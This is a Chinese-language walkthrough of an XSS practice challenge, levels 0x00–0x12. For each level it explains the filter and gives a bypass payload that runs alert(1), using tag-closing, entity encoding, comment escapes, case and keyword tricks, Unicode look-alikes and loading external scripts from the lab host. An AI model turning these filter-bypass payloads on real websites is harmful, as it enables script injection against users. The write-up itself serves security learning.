0x00
需要在左侧的 Input code 输入东西直到能够执行 alert(1)
服务端代码渲染函数直接套一个 div 标签拼接字符串并插入到 html 中,那么输入 <script>alert(1)</script>
,HTML 解析时会把 script 标签里的内容解析为 JS 代码并执行
0x01
套的是 textarea 而非 div
<textarea>
HTML 元素是一个多行纯文本编辑控件,适用于允许用户输入大量自由格式文本的场景,例如评论或反馈表单
由于其特性,HTML 解析时并不会解析 textarea 里面的 HTML 代码。直接写一个 script 标签显然不行。不过服务端渲染函数是把输入内容放在中间,左边拼一个头标签,右边拼一个尾标签。那么其实可以提前闭合 textarea 标签使得 script 标签到外面来
</textarea><script>alert(1)</script>
0x02
与上一关类似的思路,也是手动闭合标签:
"><script>alert(1)</script>
0x03
正则匹配替换了 (
和 )
为空格,可以使用反引号代替括号
<script>alert`1`</script>
在 JS 中,如果函数名后面直接跟一个表达式可以允许省略括号。例如,
alert "1"
会报错,因为双引号不是表达式的一部分,但 alert `1`是合法的,模板字面量会作为参数传递给 alert 函数
0x04
还是正则过滤,除了括号还替换了反引号。可以使用实体编码绕过,此时需要写在绑定事件里,写在 script 标签里不会解析成原始的 JS 语句
<input onclick="alert(1)">
点一下上面的输入框就有了
HTML 实体仅在 HTML 层面生效。实体编码是为了在 HTML 文本中安全表示特殊字符,但当浏览器将这些字符传递到 JavaScript 引擎时,它们已经被解码成原始字符
HTML 实体编码是一种用于在 HTML 文档中表示特殊字符的方式。这种编码通过使用预定义的名称或数字代码表示字符,可以避免这些字符被浏览器误解为 HTML 语法。可以使用预定义的实体名称或 Unicode 码,如
& → &
& → &
0x05
输入内容被插到注释符中间并且把尾注释符 -->
替换成 😂
,可以使用 --!>
闭合
--!><input onclick="alert(1)">
0x06
替换 auto
on.*=
>
为下划线。可以插入换行符来绕过 on.*=
onclick
="alert(1)"
0x07
这个正则 /<\/?[^>]+>/gi
是匹配所有的头尾标签比如 <a>
</script>
</div>
不闭合就行了,依然会解析
<input onclick="alert(1)"
0x08
过滤了 </style>
,加个空格就行了
</style ><script>alert(1)</script>
0x09
输入内容放到 src 里并且限制以特定 url 开头,还是手动闭合的思路
URL 后面多加个字符,使它指向无效资源地址
https://www.segmentfault.com1"></script><input onclick="alert(1)">
或者绑定 error 事件
https://www.segmentfault.com1" onerror="alert(1)">
0x0A
也是限制了 url 并且把一些字符替换成了实体编码
在 URL 中,
@
用于分隔用户名和密码部分与主机部分。例如,以下 URL 是合法的:https://username:password@hostname
在浏览器解析时,
username:password@hostname
中的username:password
会被视为认证信息,而hostname
才是实际的目标主机
引入外部 JS
https://[email protected]/j.js
0x0B
输入内容全部转大写
可以引入外部 JS
HTML 标签不区分大小写,但是 JS 语句区分
<script src="https://xss.haozi.me/j.js"></script>
0x0C
除了转大写,还把 script
替换成空格。可以在两个 script
中间各插一个 script
,这样把中间插入的去掉就构成了 script
<sscriptcript src="https://xss.haozi.me/j.js"></sscriptcript>
0x0D
把 <
/
"
'
替换成空格,输入的内容被插到一句注释里
//
是 JS 单行注释,可以插入换行来逃逸。写一个 alert(1)
但后面还跟着 ')
,再换行并使用 -->
注释掉
alert(1);
-->
0x0E
把 <
+ 字母的组合在 <
后面加了个下划线,并且全部转大写
利用 JS 的一个缺陷,如图
<ſcript src="https://xss.haozi.me/j.js"></script>
0x0F
把一些字符替换成了实体编码,但是插入的内容在 onerror
内作为 JS 代码解析,所以等于没替换,依然能够解析
');alert(1);//
0x10
无过滤,alert(1)
直接就行。 JavaScript 的赋值语句在执行时会先求解右侧的表达式,然后将结果赋值给左侧。alert(1)
的值是 undefined
0x11
给一些特殊字符前面加了反斜杠以转义,但是依然能够手动闭合和注释
JS 在对字符串进行定义或赋值时会进行一次解转义,将字符串中的转义字符(如 \n、\t 等)转换为对应的实际字符
例如:
const str = "Hello\nWorld"; console.log(str); // 输出: // Hello // World
s = escapeJs(s)
会进行一次解转义,所以 replace 加上的反斜杠又没了,var url=
再进行了一次解转义,会把替换而成的转义字符转换为实际字符,就没有转义字符了。所以这个 replace 操作实际上没有起作用
");alert(1)//
或者
");alert("1
0x12
把双引号前面加了个反斜杠以转义,直接用双引号不能够闭合
可以在引号前面加个反斜杠,使得自己加的这个反斜杠把后面被加上的反斜杠给转义掉,这样它就不会转义后面的双引号了
\");alert(1);//